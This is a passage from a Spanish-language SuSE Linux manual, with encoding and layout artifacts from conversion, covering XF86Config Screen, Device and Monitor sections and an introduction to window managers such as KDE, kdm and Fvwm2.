* |
| DefaultColorDepth 16 *
* |
| Subsection "Display" *
* |
| Depth 8 *
* |
| Modes "1024x768" "800x600" "640x480" *
* |
| *
* |
| ViewPort 0 0 *
* |
| Virtual 1024 768 *
* |
| EndSubsection *
* |
| Subsection "Display" *
* |
| *
* |
| Depth 16 *
* |
| Modes "1280x960" "1152x864" "1024x768" "800x600" *
* |
| ViewPort 0 0 *
* |
| Virtual 1280 960 *
* |
| *
* |
| EndSubsection *
* |
| Subsection "Display" *
* |
| Depth 32 *
* |
| Modes "1024x768" "800x600" "640x480" *
* |
| *
* |
| ViewPort 0 0 *
* |
| Virtual 1024 768 *
* |
| EndSubsection *
* |
| EndSection *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 8.3.1: La secci≤n Screen del fichero /etc/XF86Config
_______________________________________________________________________________________________________*
*_________
Accel Para los servidores especiales acelerados
Mono Servidor no VGA de 1 y 4 bit
SVGA Servidor Super VGA
VGA2 Servidor VGA monocromßtico (1 bit)
VGA16 Servidor VGA de 4 bit
_______________________________________________________________________________________________________*
*_________
Tabla 8.2: Claves para los servidores X en /etc/XF86Config
En el fichero XF86Config se puede encontrar para cada servidor usado una
secci≤n de Screen, que se usa cuando se inicia el correspondiente servidor.
Las pr≤ximas dos lφneas, Device y Monitor , determinan la tarjeta de vφdeo
y el monitor que corresponden a la definici≤n. No son mßs que indicadores,
que apuntan a las secciones de Device y de Monitor con los nombres que
coinciden. Estas secciones son objeto de discusi≤n mßs adelante.
La variable DefaultColorDepth indica la profundidad de color por defecto
que usa el servidor cuando arranca sin definici≤n explφcita de ella.
258
__________________________________________8.3.__Optimizaci≤n_de_la_instalaci≤n_del_sistema_X_Window_________________________*
*______________________
Para cada profundidad de color prosigue una subsecci≤n de Display . La pro-
fundidad de color de cada subsecci≤n se define por la palabra clave Depth .
Los valores posibles para Depth son 8, 15, 16, 24 y 32. No todos los servi-
dores X soportan todos los valores y 24 y 32 son equivalentes para muchas tar-
jetas; algunas lo diferencian y seleccionan el modo ''packed-pixel'' de 24bpp
cuando se indica el valor 24 y el modo ''padded-pixel'' de 24bpp cuando se
indica el valor 32.
DespuΘs de la definici≤n de profundidad de color se define con Modes una
lista de resoluciones. El servidor X pasa por esta lista de izquierda a derecha.
Para cada una de las resoluciones listadas, el servidor busca en la secci≤n de
monitor un Modeline adecuado, que corresponde con un Clock-Rate anotado
en la secci≤n de monitor o con un Clock-Rate que se puede programar.
La primera resoluci≤n adecuada en este sentido es la que usa el servidor_X ____ _________
para arrancar el ''Default-Mode ''. Con las teclas_|C______|trl+_|A____l|t+_|g_________|risse+_
puede ir en la lista de resoluciones a la derecha y con |C______|trl+ |A____l|t+ |g_________|ris -
a la izquierda5 . Asφ se puede modificar la resoluci≤n en pantalla durante el
tiempo de ejecuci≤n del sistema X Window.
Las ·ltimas dos lφneas de las subsecciones se refieren al tama±o de la pantalla
virtual y el punto de anclaje de la parte visible en ella. El tama±o de la pan-
talla virtual depende de la cantidad de memoria instalada y de la profundidad
de color deseada pero no depende de la resoluci≤n mßxima del monitor. Si la
tarjeta tiene p. ej. 1 MB Video RAM, entonces la pantalla virtual puede ser de
hasta 1024x1024 puntos a una profundidad de color de 8 Bit. Para los servi-
dores X acelerados no se recomienda de ninguna manera usar todo el espacio
de memoria disponible para la pantalla virtual, ya que estos servidores usan
la zona de memoria no usada de la tarjeta para diferentes caches de juegos de
caracteres y de zonas de grßficos.
El tama±o de la pantalla virtual se indica con Virtual .
Con Viewport se determina el asφ llamado Viewport (marco de visual-
izaci≤n). Este es el punto en el cual la esquina superior izquierda de la
pantalla fφsicamente visible se introduce en la pantalla virtual. La indicaci≤n
0 0 significa que las dos esquinas superiores izquierdas se superponen en
un principio. La parte visible de la pantalla se mueve encima de la pantalla
virtual moviendo el mouse al marco de la pantalla visible. Esto significa
que el ''Viewport'' solo es importante en el momento de arrancar el sistema
X Window y solo cuando el tama±o de la pantalla virtual no coincide con la
resoluci≤n real.
Device-Section
Una secci≤n de dispositivo (ingl. Device-Section), describe una determinada
tarjeta grßfica. Puede haber una cantidad infinita de secciones de dispositivo
en XF86Config mientras que sus nombres, indicados con la palabra clave
Identifier , se distinguen.
5 ____________________________________________________
''Gris'' indica aquφ que se trata de teclas del bloque numΘrico, ya que estas se resaltan a veces
en color gris.
*
* 259
8. El sistema X Window____________________________________________________________________________________________________________*
*_______________________________________@
Una descripci≤n detallada ~ solo en InglΘs ~ de la secci≤n de dispositi-
vo, se encuentra en /usr/X11/lib/X11/doc y la pßgina del manual de
XF86Config (man XF86Config ).
El fichero /usr/X11R6/lib/X11/doc/Devices contiene una colecci≤n de
secciones de dispositivo. Usando alguna de las tarjetas mencionadas allφ, lo
mejor es copiar la correspondiente secci≤n al fichero /etc/XF86Config y
adaptar allφ la secci≤n Screen indicando el Device que corresponde.
Si la tarjeta en cuesti≤n no se encuentra listada en Θste, no significa que
XFree86 no la soporte; en realidad solo significa que a·n nadie ha enviado una
secci≤n de dispositivo al XFree86-Team. La lista de las tarjetas soportadas se
encuentra en el directorio /usr/X11/lib/X11/doc en el fichero README y
hay mßs detalles sobre ellas en AccelCards.
Monitor-Section
Las secciones de monitor describen, tal como las de Device, un monitor
por cada secci≤n y puede haber una cantidad infinita de estas secciones en
/etc/XF86Config. En la secci≤n de Screen se determina cußl secci≤n de
monitor vale a efectos de la configuraci≤n.
Solo usuarios muy experimentados deberφan generar o ajustar una secci≤n de
Monitor al igual que una secci≤n de tarjeta grßfica. Una parte fundamental
de las secciones de monitor son los ''Modelines'' que indican las sincroniza-
ciones (ingl. timings) horizontales y verticales para cada resoluci≤n.
________________________________________________________________________________________________________*
*________||
| íSin un buen conocimiento de la funci≤n de monitor y de tarjeta grßfica *
* ||||
| no se deberφa cambiar ning·n valor de los Modelines, ya que esto podrφa *
* |||
| *
* |||
| provocar la destrucci≤n del monitor! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Si realmente se atreve a hacer sus propias configuraciones de monitor, deberφa
leer antes la documentaci≤n en /usr/X11/lib/X11/doc. Se recomienda
especialmente la lectura de [FCR93 ] que explica detalladamente la funci≤n
del hardware y la definici≤n de los Modelines.
Las secciones de monitor preconfiguradas y listas para su uso en XF86Config
se encuentran en el fichero /usr/X11/lib/X11/Monitors. Si se quiere usar
un monitor que no figura allφ, se recomienda usarlo con las sincronizaciones
VESA estßndar tal como se indica en la secci≤n monitor del fichero de con-
figuraci≤n que generan XF86Setup y xf86config . En este caso es importante
que los valores para frecuencia horizontal y vertical estΘn indicados correcta-
mente.
Con gusto se incorporan configuraciones nuevas y comprobadas a la lista de
las ya existentes, proporcionßndolas a SuSE GmbH o al XFree86-Team.
260
Capφtulo 9
El Windowmanager ~
La ventana a su PC
Una vez configurado el servidor X, queremos disfrutar de un escritorio colori-
do, con ventanas, men·s y todos los demßs detalles que forman un ''verdadero
escritorio''. ~ Este capφtulo sobre los gestores de ventanas (WM) abarca los
siguientes temas:
o El gestor de ventanas ~ sus tareas
o KDE ~ el K Desktop Environment
o Fvwm2 ~ un gestor clßsico de Linux
o SuSEwm ~ la vφa elegante para la configuraci≤n propia
o La prßctica ~ Afinar diversos ajustes
Es posible que se quiera comenzar directamente con la prßctica, pero es mejor
tener una idea bßsica de la teorφa que se presenta a continuaci≤n.
9.1 Teorφa sobre el entorno grßfico
9.1.1 Estructura del sistema X Window
En comparaci≤n a los + entornos grßficos monolφticos, como p. ej. Windows
u OS/2, en Linux y Unix las distintas capas funcionales estßn separadas. A
primera vista esto complica el manejo, pero finalmente brinda mßs flexibil-
idad y el sistema ofrece prestaciones mßs altas, especialmente respecto a la
potencia.
La primera capa es el sistema operativo, que se encarga de la tareas ''triviales'',
como p. ej. la administraci≤n de la memoria.
Por encima de esa capa estß el + X-Server (sistema X Window) que corre-
sponde a lo que se denomina ''driver'' en otros sistemas. En Linux se es-
tablece una capa transparente por debajo del entorno grßfico que permite el
acceso distribuido a los servicios de un servidor-X a travΘs de toda la red
(tambiΘn Internet). Las tareas concretas del servidor-X son:
o acceso a la tarjeta grßfica
o Dibujar puntos, lφneas, rectßngulos y texto
o Distribuci≤n de este servicio a la computadora local y a travΘs de toda la
red.
*
* 261
9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
*_______________________________________@
Probablemente la mayorφa de los usuarios usan un servidor-X localmente (o
sea, solo en la computadora de sobremesa), sin embargo, la capacidad de uso
en red representa siempre una gran ventaja. Ademßs se obtiene una interface
estandarizada sin restricciones sobre el dise±o del entorno grßfico. Solo asφ
es posible que todos los programas se visualicen dentro de todos los entornos
desarrollados.
Aprovechando las redes es p. ej.posible ejecutar una aplicaci≤n en la com-
putadora del despacho y visualizarla completamente con el PC en casa. En
tal caso es posible visualizar una sola tarea concreta o todo el escritorio en
la computadora remota. Ademßs el tipo de hardware y el sistema operativo
ya no importan, mientras que haya soporte para X11. Otro ejemplo: no hace
falta sentarse directamente al lado de la estaci≤n de trabajo, que es igual de
potente como ruidosa, sino que se puede trabajar tranquilamente en la com-
putadora mßs sencilla de su despacho mientras las aplicaciones se ejecutan en
la estaci≤n de trabajo. Linux como sistema operativo multiusuario soporta el
trabajo simultaneo de varios usuarios en una sola computadora, mientras los
usuarios se conectan con una X terminal (una peque±a computadora sin disco
duro que se inicia a travΘs de la red).
Los servicios del gestor de ventanas se encargan de convertir los rectßngulos
~ como elementos bßsicos ~ en ventanas o men·s movibles.
Las ventanas son importantes porque permiten ejecutar y visualizar varias
aplicaciones al mismo tiempo y proporcionan men·s para interactuar c≤-
modamente con la computadora.
El gestor de ventanas representa entonces una capa adicional entre el servidor
X, las aplicaciones y el usuario, como lo muestra la figura 9.1. Ademßs los
desarrolladores de aplicaciones-X pueden acceder directamente a X.
____________________________________________________||||
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
|___________________________________________________ |
Figura 9.1: Capas del entorno grßfico bajo Linux
Linux conoce diferentes gestores de ventana (ingl. windowmanager). Hay
que distinguir entre los gestores puros y los entornos grßficos (escritorios)
(ingl. Desktop Environments). Los primeros se restringen a la gesti≤n de
las ventanas, mientras que los escritorios incorporan una cierta cantidad de
aplicaciones con una apariencia y un manejo uniforme.
SuSE Linux incorpora los siguientes gestores de ventana:
262
_____________________________________________________________________________9.1.__Teorφa_sobre_el_entorno_grßfico__________*
*______________________
o Fvwm ~ para mucho tiempo el windowmanager de Linux
o Fvwm95 ~ parecido a Windows 95
o AfterStep ~ con la apariencia de NeXTSTEP
o WindowMaker ~ igual, pero totalmente reescrito
o Enlightenment ~ muy equipado
o Ctwm ~ gestor de ventanas sin adornos
o Olvwm ~ OpenLook Virtual Windowmanager, para aquellos que prefier-
an algo especial.
Otros gestores de ventana se encuentran en la serie xwm. Hay una serie de
gestores a base de Fvwm que se configuran de forma parecida. Estos son
Fvwm en las versiones 1, 2.0 y 2.2 tal como AfterStep , Bowman , cdesim y
Fvwm95 .
Ademßs existen los siguientes entornos grßficos:
o KDE ~ K Desktop Environment (estßndar en SuSE Linux)
o GNOME ~ GNU Network Object Model Environment
o XFce ~ Una copia del entorno comercial CDE
La decisi≤n sobre el gestor de ventanas depende bßsicamente del gusto per-
sonal, de las funciones que se necesitan y de la potencia de hardware que
se dispone. Especialmente en cuanto al gasto de memoria pueden existir
diferencias substanciales. Para usar c≤modamente un entorno como KDE
o GNOME se requiere un mφnimo de 64 MB de memoria RAM. Ademßs de
la apariencia, los gestores de ventana se distinguen tambiΘn en cuanto a las
posibilidades de configuraci≤n y de ampliaci≤n. Las figuras 9.2 hasta figu-
ra 9.5 muestran cuatro ejemplos de decoraci≤n de ventanas. La figura 9.2
muestra el servidor X sin ning·n gestor de ventanas en ejecuci≤n iniciado; no
existen marcos para modificar el tama±o de la ventana o su posici≤n.
Figura 9.2: Sin decoraci≤n de ventana ~ X11 sin gestor de ventanas
Figura 9.3: Decoraci≤n de ventana del kwm de KDE
No hay inconveniente en instalar (paralelamente) diferentes gestores de ven-
tana, probarlos, decidirse por uno y despuΘs adaptar el gestor de ventana o el
entorno seleccionado seg·n necesidades y/o gusto. Por defecto se instala el
entorno KDE .
*
* 263
9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
*_______________________________________@
Figura 9.4: Decoraci≤n de ventana de Fvwm
Figura 9.5: Decoraci≤n de ventana de WindowMaker
________________________________________________________________________________________________________*
*________
| Finalmente un consejo: La mayor parte de la informaci≤n de este capφtulo *
* |||
| *
* |||
| se refieren a Fvwm2 o KDE . íSi a·n no estß decidido, elija uno de estos! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
9.1.2 ┐QuΘ administra el ''windowmanager''?
A continuaci≤n una lista breve (e incompleta) de la influencia que puede tener
el gestor de ventanas sobre el comportamiento y la apariencia del entorno
grßfico:
o Apariencia de las ventanas
~ Anchura, color, y efectos 3D del marco
~ Barras de desplazamiento, botones de cerrar, abrir y ampliar, tφtulo de
la ventana y su fuente.
o Superposici≤n de ventanas
~ Comportamiento de la ventana al ejecutar p. ej. AutoRaise (la aparien-
cia automßtica en el primer plano)
~ Clavar ventanas
o Activar una ventana
~ seleccionando con un ''click''
~ ''tocando'' con la flecha del mouse
o Men·s desplegables
~ Apariencia de los men·s (color, fuente)
~ Comportamiento de los men·s y sub-men·s
o Fondo de pantalla
o Escritorio virtual (varios escritorios/pantallas)
o Administraci≤n de iconos
o Combinaci≤n de sonidos con eventos en el directorio
Son pocos los WM bajo UNIX o Linux que ofrecen un programa de con-
figuraci≤n grßfico e ''intuitivo'', para configurar y administrar las funciones
264
_____________________________________________________________________________9.1.__Teorφa_sobre_el_entorno_grßfico__________*
*______________________
mencionadas. Los que lo ofrecen son p. ej. KDE , GNOME , WindowMaker
y Enlightenment .
La mayorφa de los WM se configuran con uno o varios ficheros, en los que
se puede ajustar los diversos parßmetros con comandos mßs o menos descrip-
tivos. DespuΘs del primer contacto es fßcil acostumbrarse rßpidamente a un
WM y su configuraci≤n. Ademßs, el WM preferido solo se configura al prin-
cipio y despuΘs solo se trabaja con Θl.
9.1.3 Iniciar los distintos gestores de ventana
Para iniciar varios WM, SuSE Linux presenta varias posibilidades, que de-
penden de la forma de arrancar el sistema X Window.
Iniciar con kdm
Iniciando el sistema X Windowmediante KDM se puede seleccionar un
gestor de ventanas. kdm guarda para cada usuario el el ·ltima gestor usado
(detalles en el apartado 9.2 en la pßgina siguiente).
Iniciar con xdm
Usando XDM en lugar de KDM es necesario configurar en el fichero ~/
.bashrc la variable de entorno WINDOWMANAGER, asφ como se explica mßs
adelante.
Inicio con startx
Si no se inicia el sistema X Window despuΘs del arranque, es posible iniciarlo
con un determinado gestor de ventanas desde la consola de texto, p. ej. con el
comando:
tux@tierra: > startx fvwm95
Asφ se inicia el Fvwm95 . Como parßmetro se usa siempre el nombre del
gestor de ventanas, cosa que funciona en la mayorφa de los gestores de ventana
de SuSE Linux. Es posible ampliar esta llamada p. ej. con la profundidad de
color deseada. El comando:
tux@tierra: > startx afterstep -- -bpp 16
inicia el sistema X Window con AfterStep como gestor y una profundidad de
color de 16 bit (65536 colores). Lo mßs probable es que esta profundidad ya
se haya elegido como estßndar durante la instalaci≤n; ver apartado 2.1.14 en
la pßgina 27Preparaci≤n del entorno grßficosubsection.2.1.14 tal como pßgina
del manual de startx (man startx ).
La variable WINDOWMANAGER
Una vez decidido por un determinado gestor de ventanas se puede a±adir o
modificar la siguiente lφnea en el fichero ~/.bashrc:
export WINDOWMANAGER=fvwm95
En este ejemplo, el gestor por defecto pasa a ser Fvwm95. Si el directorio
/usr/X11R6/bin no forma parte de la variable de entorno PATH, se debe
*
* 265
9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
*_______________________________________@
indicar en la lφnea de arriba la rama completa en la que se encuentra el gestor
de ventanas.
TambiΘn se puede poner la entrada de arriba adentro del fichero /etc/
profile, para definir asφ el WM para todo el sistema. Cada usuario puede
superponer esta definici≤n con la individual que se realiza en el fichero
~/.bashrc.
Cambiar el gestor de ventanas en tiempo de ejecuci≤n
Algunos gestores de ventana (especialmente los de la familia Fvwm ) per-
miten el cambio del gestor en tiempo de ejecuci≤n. No cierran las ventanas
que ya estßn abiertas y tampoco los programas que corren en Θstas. Es una
caracterφstica que no se implement≤ para algunos gestores como Ctwm , kwm
(KDE ) o CDE . Sin embargo es posible conseguirla usando SuSE DyDe (ingl.
SuSE dynamic desktop). Para utilizarlo hay que definir suse como gestor de
ventanas o bien seleccionar esto en KDM .
9.2 KDE ~ K Desktop Environment
KDE ofrece para Linux un entorno grßfico de configuraci≤n sencilla y de
apariencia homogΘnea para muchas aplicaciones. KDE significa ''K Desktop
Environment'' y es el proyecto de un grupo de programadores en continuo
crecimiento que se form≤ en el oto±o de 1996.
KDE ofrece sobre todo, aparte de un gestor de ventanas propio (kwm ), un ad-
ministrador de ficheros/navegador (kfm ), un sistema de ayuda general basado
en documentos HTML (kdehelp ), Manual-Pages y pßginas de informaci≤n
GNU. Existe tambiΘn una multitud de aplicaciones mßs o menos complejas,
·tiles para el trabajo diario (p. ej. gestor de correo, lector de noticias, juegos,
herramientas de sistema, etc.).
KDE estß completamente basado en + URL y + MIME. Esto significa que
todas las ramas y referencias a ficheros se traspasan y se procesan en un
formato ·nico (p. ej. como referencia a una pßgina HTML, a un fichero en
el sistema de ficheros local, a una pßgina de ayuda, a un servidor FTP, etc.).
Ademßs los ''Mimetypes'' establecen una correlaci≤n entre el tipo de fichero y
el programa que lo puede leer o ejecutar. Asφ es posible visualizar y procesar
los ficheros independientemente de su tipo y fuente, con un click del mouse.
Ademßs, existe para el usuario la posibilidad de realizar muchas tareas con
''Arrastrar y colocar'' (ingl. Drag & Drop), p. ej. la de copiar un fichero desde
un servidor FTP a un directorio local.
El sistema de ayuda de KDE es otra ventaja de este entorno. Se ha notificado
a todos los autores de aplicaciones KDE que a±adan la documentaci≤n sobre
el programa desarrollado en formato HTML a la ya existente. Desde las
aplicaciones es posible acceder a las pßginas de ayuda que concuerdan con el
contexto, usando el bot≤n `Ayuda'. No solo se puede navegar por el sistema
de ayuda, sino que el navegador permite tambiΘn pasar por las Manpages de
Unix o por las pßginas info GNU.
Otras caracterφsticas de una larga lista son la posibilidad de colocar iconos
como accesos directos sobre el escritorio y la uniformidad, comodidad y
sencillez de la configuraci≤n del KDE y de las aplicaciones escritas para Θl.
266
___________________________________________________________________________9.2.__KDE__~_K_Desktop_Environment_______________*
*______________________
_______________________________________________________________________________________________________________________||
|||||||| KDE se desarrolla usando el Qt Widget Set, que es una especie de bib- ||| |
||||||||| lioteca (parecido a Motif) para dise±ar programas con superficie grßfica || ||
|||||||| en el sistema X Window. ObsΘrvense los tΘrminos de licencia de Qt, que ||| |
|||||||| || |
|||||||| difieren de los de la GPL (/usr/doc/packages/qt/LICENSE). || |
||||||||_______________________________________________________________________________________________________________||_
9.2.1 Generalidades
KDE se instala por defecto en el directorio /opt/kde y todos los ficheros
importantes para Θl se encuentran en directorios por debajo de Θste. Para
acceder mßs fßcilmente a estos directorios se define en /etc/profile la
variable de entorno KDEDIR.
Ademßs, el directorio /opt/kde/bin se encuentra automßticamente en la
rama de b·squeda para ejecutables (PATH), despuΘs de haber instalado los
paquetes del KDE.
El ßrbol de directorios del KDE contiene muchos subdirectorios de los cuales
la tabla 9.1 describe solo los mßs importantes.
_______________________________________________________________________________________________________________________
/opt/kde/bin todos los programas del KDE (ficheros
ejecutables)
/opt/kde/share/config ficheros de configuraci≤n globales
/opt/kde/share/applnk enlaces entre programas (men·s)
/opt/kde/share/apps ficheros de aplicaciones del KDE
/opt/kde/share/doc las ayudas en lφnea
/usr/doc/packages/kde informaci≤n adicional sobre el KDE
_______________________________________________________________________________________________________________________
Tabla 9.1: KDE ~ directorios importantes
Para los que prefieren usar el teclado en lugar del mouse, se presentan en la
tabla 9.2 algunas teclas abreviadas.
_______________________________________________________________________________________________________________________
|||||__ ___
Alt__|____+_|F___|1_ Abrir el men· de K.
Alt||||||_+ |F___|2 Abrir un cuadro de introducci≤n de co-
mandos multiprop≤sito, p. ej. para intro-
ducir URLs, directorios locales o co-
mandos/programas.
Alt||||||__+ |F___|_3 Cerrar la ventana.
|||||__ ____
Alt__|____+ |T____a|b Cambiar entre las ventanas del escrito-
rio activo.
Ctr||||||____l+ |E_____|sc Abrir una ventana, que indica todas las
ventanas abiertas de todos los escrito-
rios
Ctr||||||____l+ |F___|_1. . . |____|F8 Cambiar entre los escritorios 1 hasta 8.
_______________________________________________________________________________________________________________________
Tabla 9.2: KDE ~ teclas abreviadas importantes
*
* 267
9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
*_______________________________________@
9.2.2 kdm ~ ''login'' grßfico
El gestor de pantallas (ingl. Displaymanager) KDM , que estß incluido en los
paquetes del KDE, es una ampliaci≤n valiosa de cualquier sistema Linux, con
en el cual los usuarios entran con un ''login'' grßfico. La figura 9.6 muestra la
configuraci≤n predeterminada de kdm en SuSE Linux.
Figura 9.6: El gestor de pantalla kdm
Hay botones para elegir el gestor de ventanas (`Sessiontype'), para ele-
gir el idioma de los men·s (`Language') y para detener la computadora
`(Shutdown)'; ver el apartado 19.2 en la pßgina 468Apagar y arrancar el
sistemasection.19.2.
KDM se configura directamente con el fichero de configuraci≤n /opt/kde/
share/config/kdmrc o bien mediante un dißlogo de configuraci≤n del
men· de KDE.Independientemente de esto, SuSE Linux incorpora la posi-
bilidad de configurar el inicio de KDM y los gestores de ventana a disposi-
ci≤n mediante YaST ; ver el apartado 3.7.5 en la pßgina 111Configuraci≤n del
Loginsubsection.3.7.5.
SuSEconfig coloca los valores de estas variables adentro de /opt/kde/
share/config/kdmrc y asφ la configuraci≤n se activa_en_el_pr≤ximo_inicio_ ____
de KDM que se puede reiniciar p. ej. con | ______C|trl+ | ____A|lt+ | ____7|.! La incor-
poraci≤n de las variables procedentes de /etc/rc.config/ se suprime si
se hubiera configurado el kdm en tiempo de ejecuci≤n valiΘndose del cen-
tro de control de KDE. Si a pesar de todo se desea efectuar la configu-
raci≤n a travΘs de /etc/rc.config se debe renombrar el fichero kdmrc.
SuSEconfig (SuSEconfig.kdm lo genera siempre) como kdmrc1 .
9.2.3 ┐QuΘ es lo fabuloso del KDE?
Una vez que se haya entrado al sistema con KDM de manera confortable, es
hora de comentar las peculiaridades del KDE. Para ello observemos lo que
transcurre despuΘs del ''login'' (o despuΘs del comando startx )
_____________________________________________1
Ambos ficheros se encuentran en el directorio /opt/kde/share/config.
268
___________________________________________________________________________9.2.__KDE__~_K_Desktop_Environment_______________*
*______________________
La primera vez que se entra al KDE aparecen algunos cuadros de dißlogo que
advierten sobre la ausencia de diferentes ficheros y directorios. No se trata de
un error ya que el KDE necesita (y al inicio crea) una serie de directorios en
el directorio del usuario. La estructura de estos es parecida a la que existe en
/opt/kde (ver la tabla 9.1 en la pßgina 267Generalidadessubsection.9.2.1) y
se crea en los directorios HOME/.kde y HOME/Desktop. El primer directorio
alberga los ficheros de configuraci≤n y el segundo los enlaces de programas.
Por eso se pueden confirmar los dißlogos mencionados simplemente con |______|-
o con un click del mouse.
Ahora se inicia el kfm (K FileManager). Kfm es un componente bßsico del
KDE capaz de gestionar muchos tipos de ficheros ya que sus nombres se
gestionan como URLs. No importa si se copia un fichero desde un servidor
FTP (URL-prefijo ftp:), como fichero local (URL-prefijo file:) o si se
lee una manpage (URL-PrΣfix man:), una pßgina GNU-Info (URL-prefijo
info:) o una pßgina web en HTML desde un servidor-web (URL-PrΣfix
http:) ~ kfm trata igual a todos los ficheros. Incluso es posible visualizar
imßgenes de diferentes formatos con un simple click de mouse, valiΘndose de
un visualizador externo. La figura 9.7 muestra una ventana tφpica de kfm.
Figura 9.7: El administrador de ficheros kfm
El usuario se acostumbra muy rßpidamente a estas caracterφsticas tal como
a la posibilidad de copiar ficheros con el sencillo ''Arrastre y Coloque''. A
prop≤sito: con un click del bot≤n derecho sobre el sφmbolo de un fichero,
se abre un men· que ofrece distintas posibilidades de manipulaci≤n, p. ej. el
cambio de las propiedades del fichero o programa.
Las propiedades de un programa, p. ej. los parßmetros con los que se inicia,
el icono utilizado para su visualizaci≤n sobre el escritorio, etc. se definen en
un fichero con la extensi≤n .kdelnk. La figura 9.8 en la pßgina siguiente
muestra el dißlogo para modificar las propiedades. El fichero con extensi≤n
.kdelnk es un fichero ASCII, que se puede editar. Vale la pena observar
estos ficheros que se encuentran p. ej. en ~/Desktop, o ~ para todo el sistema
*
* 269
9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
*_______________________________________@
~ en /opt/kde/share/applnk. Los ficheros vßlidos para todo el sistema
hacen referencia a los iconos del escritorio y de los men·s y su contenido es
uniforme, tal como el de los demßs ficheros de configuraci≤n del KDE.
Figura 9.8: El dißlogo de definici≤n de propiedades
Por ·ltimo, se inicia generalmente la barra de men· KPanel , que contiene los
botones para cambiar de escritorio virtual y un men· especial (el de la letra
`K') que contiene todos los sub-men·s globales del sistema (ver los ficheros
kdelnk). Este men· alberga tambiΘn la posibilidad de configurar el KDE
con el ''centro de control'' del KDE (ver figura 9.9 en la pßgina siguiente) y
de configurar el KPanel.
Pero KPanel es a·n mßs versßtil ya que por una parte se pueden colocar iconos
de programas vφa Drag & Drop sobre el panel e iniciar los correspondientes
programas desde allφ y por otra parte, KPanel puede ''absorber'' aplicaciones
en ejecuci≤n. Estas podrφan ser p. ej. klipper (varios b·feres para cortar y pe-
gar) o korn que indica la cantidad de mensajes en un determinado directorio.
Estas aplicaciones se ejecutan entonces dentro del KPanel y de este modo son
visibles en todos los escritorios.
Serφa muy difφcil comentar aquφ sobre todos los programas del KDE ya que
la cantidad existente crece rßpidamente. El equipo KDE pretende, entre otras
270
______________________________________________________________________________________________________________9.3.__El_Fvwm_*
*______________________
Figura 9.9: El centro de control de KDE
cosas, hacer las computadoras mßs fßciles de manejar, asφ que lo mßs sencillo
es entrar al men· y empezar a probar el programa que mßs interese.
Acceder a la ayuda es tan sencillo como pulsar el bot≤n derecho del mouse
sobre el fondo; aparecerß un men· con muchas posibilidades, entre ellas el
acceso a la ayuda.
Sin embargo, cabe recordar que muchos paquetes del KDE suministrados
se encuentran en sus primeras fases de desarrollo. Esto quiere decir que
el programa puede ser inestable o bien reacciona de manera extra±a, pero
normalmente lo que ocurre en estos casos es que el programa se cuelga o se
cierra, con lo cual se debe reinicializar.
Tiene a su disposici≤n algunas listas de correo a las que se puede acceder
a travΘs de la pßgina web del proyecto KDE (http://www.kde.org). Allφ
hay tambiΘn mucha informaci≤n sobre los orφgenes del KDE, la intenci≤n del
proyecto y su estado actual.
No queremos olvidar el servidor FTP de SuSE en el cual se encuentran ba-
jo ftp://ftp.suse.com/pub/SuSE-Linux/suse_update/KDE, paquetes
de KDE especialmente adaptados a SuSE Linux y que pueden ser instalados
c≤modamente usando YaST . TambiΘn hay allφ explicaciones adicionales so-
bre la instalaci≤n y el uso del KDE en el sistema SuSE Linux.
9.3 El Fvwm
*
* 271
9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
*_______________________________________@
Generalidades
Este apartado tiene como objeto de discusi≤n el Fvwm2 (fvwm2 ), que es uno
de los gestores de ventana de referencia y se siguen desarrollando nuevos
gestores basados en Θl ~ p. ej. recientemente el Scwm (scwm ).
En SuSE Linux el Fvwm2 se encuentra en el paquete fvwm, serie xwm; el
antiguo Fvwm estß en el paquete fvwm1, serie xwm.
Aparte de las funciones usuales de administraci≤n de ventanas y su deco-
raci≤n con botones, Θste ofrece tambiΘn men·s de fondo y m≤dulos que se
pueden cargar en tiempo de ejecuci≤n. Los m≤dulos contienen funciones adi-
cionales muy interesantes como p. ej. una barra con botones.
Para obtener mßs informaci≤n sobre la funci≤n, el inicio y la configu-
raci≤n del Fvwm y sus m≤dulos, consulte las Manpages correspondi-
entes (pßgina del manual de fvwm2 (man fvwm2 ), pßgina del manual
de FvwmAudio (man FvwmAudio ), pßgina del manual de FvwmButtons
(man FvwmButtons ), etc.) o el directorio de documentaci≤n /usr/doc/
packages/fvwm, que contiene tambiΘn unos ficheros de configuraci≤n de
ejemplo.
Para no tener que escribir un fichero de configuraci≤n desde cero, se puede
encargar a susewm la creaci≤n de una plantilla y adaptarla posteriormente a
las necesidades. En el apartado 9.5 en la pßgina 277Configuraci≤n del win-
dowmanager con SuSEwm section.9.5 hay una explicaci≤n sobre susewm .
Ficheros de configuraci≤n del Fvwm
El Fvwm se configura con dos ficheros distintos:
o El fichero que contiene la configuraci≤n global deberφa existir siempre.
Se encuentra en el directorio /usr/X11R6/lib/X11/fvwm2 y se llama
.fvwm2rc.
o Un fichero de configuraci≤n para cada usuario que no debe existir nece-
sariamente. Se llama ~/.fvwm2rc y se encuentra en el directorio personal
del respectivo usuario.
Cuando se instala SuSE Linux, el programa susewm (se explica en el aparta-
do 9.5 en la pßgina 277Configuraci≤n del windowmanager con SuSEwm
section.9.5) se encarga de generar siempre un fichero de configuraci≤n global
para el Fvwm2.
El Fvwm2 lee todos los ficheros de configuraci≤n cuando arranca. El Win-
dowmanager se inicia desde el fichero /usr/X11R6/lib/X11/xinit/
xinitrc o desde ~/.xinitrc. Para conseguirlo hay que modificar la vari-
able de entorno WINDOWMANAGER de tal modo que apunte hacia el directorio
del correspondiente WM , p. ej. /usr/X11R6/bin/fvwm2; ver tambiΘn en la
pßgina 265Iniciar los distintos gestores de ventanasubsection.9.1.3. Cuando
se inicia el Windowmanager, primero intenta leer el fichero de configuraci≤n
individual del usuario y despuΘs, si Θste no existe, el fichero de configuraci≤n
global.
TambiΘn los m≤dulos del Fvwm leen estos ficheros de configuraci≤n cuando
se inician, con la diferencia de que cada m≤dulo solo lee la parte que corre-
sponde a su propia configuraci≤n.
272
